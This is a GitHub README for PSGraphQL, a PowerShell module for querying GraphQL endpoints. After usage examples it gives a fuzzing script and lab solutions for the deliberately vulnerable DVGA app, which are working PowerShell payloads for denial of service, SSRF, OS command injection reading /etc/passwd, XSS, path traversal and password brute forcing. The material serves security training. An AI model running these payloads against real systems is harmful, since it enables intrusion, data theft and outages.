https://github.com/anthonyg-1/psgraphql

This PowerShell module contains functions that facilitate querying and create, update, and delete operations (mutations) for GraphQL, which is an an open-source data language for APIs. For more on GraphQL please see: https://graphql.org/.
https://github.com/anthonyg-1/psgraphql

graphql graphql-interface graphql-introspection graphql-query powershell

Last synced: 6 days ago
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This PowerShell module contains functions that facilitate querying and create, update, and delete operations (mutations) for GraphQL, which is an an open-source data language for APIs. For more on GraphQL please see: https://graphql.org/.

• Host: GitHub
• URL: https://github.com/anthonyg-1/psgraphql
• Owner: anthonyg-1
• License: mit
• Created: 2021-03-09T20:17:31.000Z (almost 4 years ago)
• Default Branch: main
• Last Pushed: 2024-07-08T16:11:49.000Z (6 months ago)
• Last Synced: 2024-12-18T12:09:06.151Z (6 days ago)
• Topics: graphql, graphql-interface, graphql-introspection, graphql-query, powershell
• Language: PowerShell
• Homepage:
• Size: 243 KB
• Stars: 55
• Watchers: 6
• Forks: 8
• Open Issues: 0
• Metadata Files:
  • Readme: README.md
  • License: LICENSE

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README

        
# PSGraphQL

This PowerShell module contains functions that facilitate query and mutation operations against GraphQL endpoints.

### Tested on

:desktop_computer: `Windows 10/11`

:penguin: `Linux`

:apple: `MacOS`

### Requirements

Requires PowerShell 5.1 or above.

### Installation

```powershell

Install-Module -Name PSGraphQL -Repository PSGallery -Scope CurrentUser

```

## Examples

### Send a GraphQL query to an endpoint including operation name and variables

```powershell

$uri = "https://mytargetserver/v1/graphql"

$query = '

    query RollDice($dice: Int!, $sides: Int!) {

        rollDice(numDice: $dice, numSides: $sides)

}'

$opName = "RollDice"

$variables = '

    {

        "dice": 3,

        "sides": 6

    }'

Invoke-GraphQLQuery -Query $query -OperationName $opName -Variables $variables -Uri $uri       

```

### Send a GraphQL query with a query defined in a file

```powershell

$uri = "https://mytargetserver/v1/graphql"

$queryFilePath = "./queries/rolldice.gql"

Invoke-GraphQLQuery -FilePath $queryFilePath -Uri $uri

```

### Send a GraphQL query to an endpoint including operation name and variables as a HashTable

```powershell

$uri = "https://mytargetserver/v1/graphql"

$query = '

    query RollDice($dice: Int!, $sides: Int!) {

        rollDice(numDice: $dice, numSides: $sides)

}'

$opName = "RollDice"

$variables = @{dice=3; sides=6}

Invoke-GraphQLQuery -Query $query -OperationName $opName -Variables $variables -Uri $uri       

```

### Send a GraphQL introspection query to an endpoint with the results returned as JSON

```powershell

$uri = "https://mytargetserver/v1/graphql"

$introspectionQuery = '

    query allSchemaTypes {

        __schema {

            types {

                name

                kind

                description

            }

        }

    }

'

Invoke-GraphQLQuery -Query $introspectionQuery -Uri $uri -Raw

```

### Send a GraphQL query to an endpoint with the results returned as objects

```powershell

$uri = "https://mytargetserver/v1/graphql"

$myQuery = '

    query {

        users {

            created_at

            id

            last_seen

            name

        }

    }

'

Invoke-GraphQLQuery -Query $myQuery -Uri $uri

```

### Send a GraphQL mutation to an endpoint with the results returned as JSON

```powershell

$uri = "https://mytargetserver/v1/graphql"

$myMutation = '

    mutation MyMutation {

        insert_users_one(object: {id: "57", name: "FirstName LastName"}) {

        id

    }

}

'

$requestHeaders = @{ "x-api-key"='aoMGY{+93dx&t!5)VMu4pI8U8T.ULO' }

$jsonResult = Invoke-GraphQLQuery -Mutation $myMutation -Headers $requestHeaders -Uri $uri -Raw

```

### Send a GraphQL query using JWT for authentication to an endpoint and navigate the results

```powershell

$jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MjAzOTMwMjgsIm5iZiI6MTYyMDM5MzAyNywiZXhwIjoxNjIwMzkzMzI4LCJzdWIiOiJtZUBjb21wYW55LmNvbSIsImp0aSI6ImMwZTk0ZTY0ODc4ZjRlZDFhZWM3YWYwYzViOWM2ZWI5Iiwicm9sZSI6InVzZXIifQ.HaTXDunEjmyUsHs7daLe-AxEpmq58QqqFziydm7MBic"

$headers = @{Authorization="Bearer $jwt"}

$uri = "https://mytargetserver/v1/graphql"

$myQuery = '

    query GetUsers {

        users {

            created_at

            id

            last_seen

            name

    }

}

'

$result = Invoke-GraphQLQuery -Query $myQuery -Headers $headers -Uri $uri

$result.data.users | Format-Table

```

### Send a GraphQL query to an endpoint with the results returned as JSON (as a one-liner using aliases)

```powershell

gql -q 'query { users { created_at id last_seen name } }' -u 'https://mytargetserver/v1/graphql' -r

```

### Get a list of variable definitions from a GraphQL query

```powershell

$query = '

    query RollDice($dice: Int!, $sides: Int) {

        rollDice(numDice: $dice, numSides: $sides)

}'

Get-GraphQLVariableList -Query $query

```

### Perform parameter fuzzing against a GraphQL endpoint based on discovered parameters (security testing)

```powershell

$mutation = '

    mutation AddNewPet ($name: String!, $petType: PetType, $petLocation: String!, $petId: Int!) {

            addPet(name: $name, petType: $petType, location: $petLocation, id: $petId) {

            name

            petType

            location

            id

        }

    }'

$wordListPath = ".\SQL.txt"

$words = [IO.File]::ReadAllLines($wordListPath)

$uri = "https://mytargetserver/v1/graphql"

# Array to store results from Invoke-GraphQLQuery -Detailed for later analysis:

$results = @()

# Get the variable definition from the supplied mutation:

$variableList = $mutation | Get-GraphQLVariableList

$words | ForEach-Object {

    $queryVarTable = @{}

    $word = $_

    $variableList | Select Parameter, Type | ForEach-Object {

        $randomInt = Get-Random       

        if ($_.Type -eq "Int") {

            if (-not($queryVarTable.ContainsKey($_.Parameter))) {

                $queryVarTable.Add($_.Parameter, $randomInt)               

            }

        }

        else {

            if (-not($queryVarTable.ContainsKey($_.Parameter))) {

                $queryVarTable.Add($_.Parameter, $word)                

            }

        }

    }

    $gqlResult = Invoke-GraphQLQuery -Mutation $mutation -Variables $queryVarTable -Headers $headers -Uri $uri -Detailed    

    $result = [PSCustomObject]@{ParamValues = ($queryVarTable); Result = ($gqlResult) }    

    $results += $result

}

```

# Damn Vulnerable GraphQL Application Solutions

The "Damn Vulnerable GraphQL Application" is an intentionally vulnerable implementation of the GraphQL technology that allows a tester to learn and practice GraphQL security. For more on DVGQL, please see: https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application

The solutions below are written in PowerShell exclusively but one of the solutions required Invoke-WebRequest as opposed to Invoke-GraphQLQuery.

```powershell

# GraphQL endpoint for all solutions below:

$gqlEndpointUri = "https://mygraphqlserver.company.com/graphql"

```  

  

  

## Denial of Service :: Batch Query Attack

```powershell

# Specify amount of queries to generate:

$amountOfQueries = 100

# Base query:

$sysUpdateQuery = '

query {

    systemUpdate

}

'

# For 1 to $amountOfQueries, concatenate $sysUpdateQuery and assign to $batchQueryAttackPayload:

$batchQueryAttackPayload = ((1..$amountOfQueries | ForEach-Object { $sysUpdateQuery }).Trim()) -join "`r`n"

# Send batch attack to GraphQL endpoint:

Invoke-GraphQLQuery -Uri $gqlEndpointUri -Query $batchQueryAttackPayload

```

## Denial of Service :: Deep Recursion Query Attack

```powershell

$depthAttackQuery = '

query {

      pastes {

        owner {

          paste {

            edges {

              node {

                  owner {

                    paste {

                      edges {

                        node {

                          owner {

                            paste {

                              edges {

                                node {

                                  owner {

                                    id

                                  }

                                }

                              }

                            }

                          }

                        }

                      }

                    }

                  }

                }

              }

            }

          }

        }

      }

'

Invoke-GraphQLQuery -Query $depthAttackQuery -Uri $gqlEndpointUri -Raw

```

## Denial of Service :: Resource Intensive Query Attack

```powershell

$timingTestPayload = '

    query TimingTest {

      systemUpdate

    }

'

$start = Get-Date

Invoke-GraphQLQuery -Query $timingTestPayload -Uri $gqlEndpointUri -Raw

$end = Get-Date

$delta = $end - $start

$totalSeconds = $delta.Seconds

$message = "Total seconds to execute query: {0}" -f $totalSeconds

Write-Host -Object $message -ForegroundColor Cyan

```

## Information Disclosure :: GraphQL Introspection

```powershell

$introspectionQuery = '

  query {

      __schema {

        queryType { name }

        mutationType { name }

        subscriptionType { name }

      }

    }

'

Invoke-GraphQLQuery -Query $introspectionQuery -Uri $gqlEndpointUri -Raw

```

## Information Disclosure :: GraphQL Interface

```powershell

$graphiqlUri = "{0}/graphiql" -f $targetUri

$headers = @{Accept="text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}

Invoke-WebRequest -Uri $graphiqlUri -Headers $headers -Method Get -UseBasicParsing | Select -ExpandProperty Content

```

## Information Disclosure :: GraphQL Field Suggestions

```powershell

$fieldSuggestionsQuery = '

    query {

        systemUpdate

    }

'

Invoke-GraphQLQuery -Query $fieldSuggestionsQuery -Uri $gqlEndpointUri -Raw

```

## Information Disclosure :: Server Side Request Forgery

```powershell

$requestForgeryMutation = '

mutation {

    importPaste(host:"localhost", port:57130, path:"/", scheme:"http") {

      result

    }

}

'

Invoke-GraphQLQuery -Mutation $requestForgeryMutation -Uri $gqlEndpointUri -Raw

```

## Code Execution :: OS Command Injection #1

```powershell

$commandToInject = "ls -al"

$commandInjectionMutation = '

  mutation  {

    importPaste(host:"localhost", port:80, path:"/ ; ' + $commandToInject + '", scheme:"http"){

      result

    }

  }

'

$response = Invoke-GraphQLQuery -Mutation $commandInjectionMutation -Uri $gqlEndpointUri

$result = $response.data.importPaste.result

Write-Host -Object $result -ForegroundColor Magenta

```

## Code Execution :: OS Command Injection #2

```powershell

# Admin creds for DVGQL:

$userName = "admin"

$password = "password"

$commandToInject = "ls -alr"

$commandInjectionQuery = '

    query {

        systemDiagnostics(username:"' + $userName + '" password:"' + $password + '", cmd:"id; ' + $commandToInject + '")

    }

'

Invoke-GraphQLQuery -Query $commandInjectionQuery -Uri $gqlEndpointUri -Raw

```

## Code Execution :: OS Command Injection #3

```powershell

# Admin creds for DVGQL:

$userName = "admin"

$password = "password"

$commandToInject = "cat /etc/passwd"

$commandInjectionQuery = '

    query {

        systemDiagnostics(username:"' + $userName + '" password:"' + $password + '", cmd:"' + $commandToInject + '")

    }

'

Invoke-GraphQLQuery -Query $commandInjectionQuery -Uri $gqlEndpointUri -Raw

```

## Code Execution :: OS Command Injection #4

```powershell

# Credit Zachary Asher for this one!

# This is abstracting "cat /etc/passwd via the following:

# 1. Change directory via "cd" repeatedly to get to the root directory

# 2. Change director to the etc directory...

# 3. ...and finally execute "cat" (concatenate) to read the contents of the passwd file:

$commandToInject = "cd .. && cd .. && cd .. && cd etc && cat passwd"

$commandInjectionMutation = '

mutation  {

      importPaste(host:"localhost", port:80, path:"/ ; ' + $commandToInject + '", scheme:"http"){

        result

      }

    }

'

$response = $null

try {

    $response = Invoke-GraphQLQuery -Mutation $commandInjectionMutation -Uri $gqlEndpointUri -ErrorAction Stop

    $result = $response.data.importPaste.result

    Write-Host -Object $result -ForegroundColor Magenta

}

catch

{

    Write-Host -Object $_.Exception -ForegroundColor Red

}

```

## Code Execution :: OS Command Injection #5

```powershell

# Find all conf files:

$commandToInject = "find / -type f -name '*.conf' 2>/dev/null"

$commandInjectionMutation = '

mutation  {

      importPaste(host:"localhost", port:80, path:"/ ; ' + $commandToInject + '", scheme:"http"){

        result

      }

    }

'

$response = $null

try {

    $response = Invoke-GraphQLQuery -Mutation $commandInjectionMutation -Uri $gqlEndpointUri -ErrorAction Stop

    $result = $response.data.importPaste.result

    Write-Host -Object $result -ForegroundColor Magenta

}

catch

{

    Write-Host -Object $_.Exception -ForegroundColor Red

}

```

## Injection :: Stored Cross Site Scripting

```powershell

$xssInjectionMutation = '

    mutation XcssMutation {

        uploadPaste(content: "alert(1)", filename: "C:\\temp\\file.txt") {

            content

            filename

            result

        }

    }

'

Invoke-GraphQLQuery -Mutation $xssInjectionMutation -Uri $gqlEndpointUri -Raw

```

## Injection :: Log Injection

```powershell

$logInjectionMutation = '

    mutation getPaste{

        createPaste(title:"alert(1)", content:"zzzz", public:true) {

                burn

                content

                public

                title

            }

    }

'

Invoke-GraphQLQuery -Mutation $logInjectionMutation -Uri $gqlEndpointUri

```

## Injection :: HTML Injection

```powershell

$htmlInjectionMutation = '

    mutation myHtmlInjectionMutation {

        createPaste(title:"
hello!
", content:"zzzz", public:true) {

            burn

            content

            public

            title

        }

    }

'


Invoke-GraphQLQuery -Mutation $htmlInjectionMutation -Uri $gqlEndpointUri -Raw

```

## Authorization Bypass :: GraphQL Interface Protection Bypass

```powershell

$reconQuery = '

   query IntrospectionQuery {

  __schema {

    queryType {

      name

    }

    mutationType {

      name

    }

    subscriptionType {

      name

    }

  }

}

'

$session = [Microsoft.PowerShell.Commands.WebRequestSession]::new()

$cookie = [System.Net.Cookie]::new()

$cookie.Name = "env"

# $cookie.Value = "Z3JhcGhpcWw6ZGlzYWJsZQ" # This is base64 for graphiql:disable

$cookie.Value = "Z3JhcGhpcWw6ZW5hYmxl" # This is base64 for graphiql:enable

$domain = [Uri]::new($gqlEndpointUri).Host

$cookie.Domain = $domain

$session.Cookies.Add($cookie)

Invoke-GraphQLQuery -Query $reconQuery -Uri $gqlEndpointUri -WebSession $session -Raw

```

## GraphQL Query Deny List Bypass

```powershell

$bypassQuery = '

    query BypassMe {

      systemHealth

    }

'

$headers= @{'X-DVGA-MODE'='Expert'}

Invoke-GraphQLQuery -Query $bypassQuery -Uri $gqlEndpointUri -Headers $headers -Raw

```

## Miscellaneous :: Arbitrary File Write // Path Traversal

```powershell

$pathTraversalMutation = '

    mutation PathTraversalMutation {

            uploadPaste(filename:"../../../../../tmp/file.txt", content:"path traversal test successful"){

            result

        }

    }

'

Invoke-GraphQLQuery -Mutation $pathTraversalMutation -Uri $gqlEndpointUri -Raw

```

## Miscellaneous :: GraphQL Query Weak Password Protection

```powershell

$passwordList = @('admin123', 'pass123', 'adminadmin', '123', 'password', 'changeme', 'password54321', 'letmein', 'admin123', 'iloveyou', '00000000')

$command = "ls"

foreach ($pw in $passwordList)

{

    $bruteForceAuthQuery = '

        query bruteForceQuery {

          systemDiagnostics(username: "admin", password: "' + $pw + '", cmd: "' + $command + '")

        }

    '

    $result = Invoke-GraphQLQuery -Query $bruteForceAuthQuery -Uri $gqlEndpointUri

    if ($result.data.systemDiagnostics -ne "Password Incorrect") {

        Write-Host -Object $("The password is: ") -ForegroundColor Yellow -NoNewline

        Write-Host -Object $pw -ForegroundColor Green

    }

}

```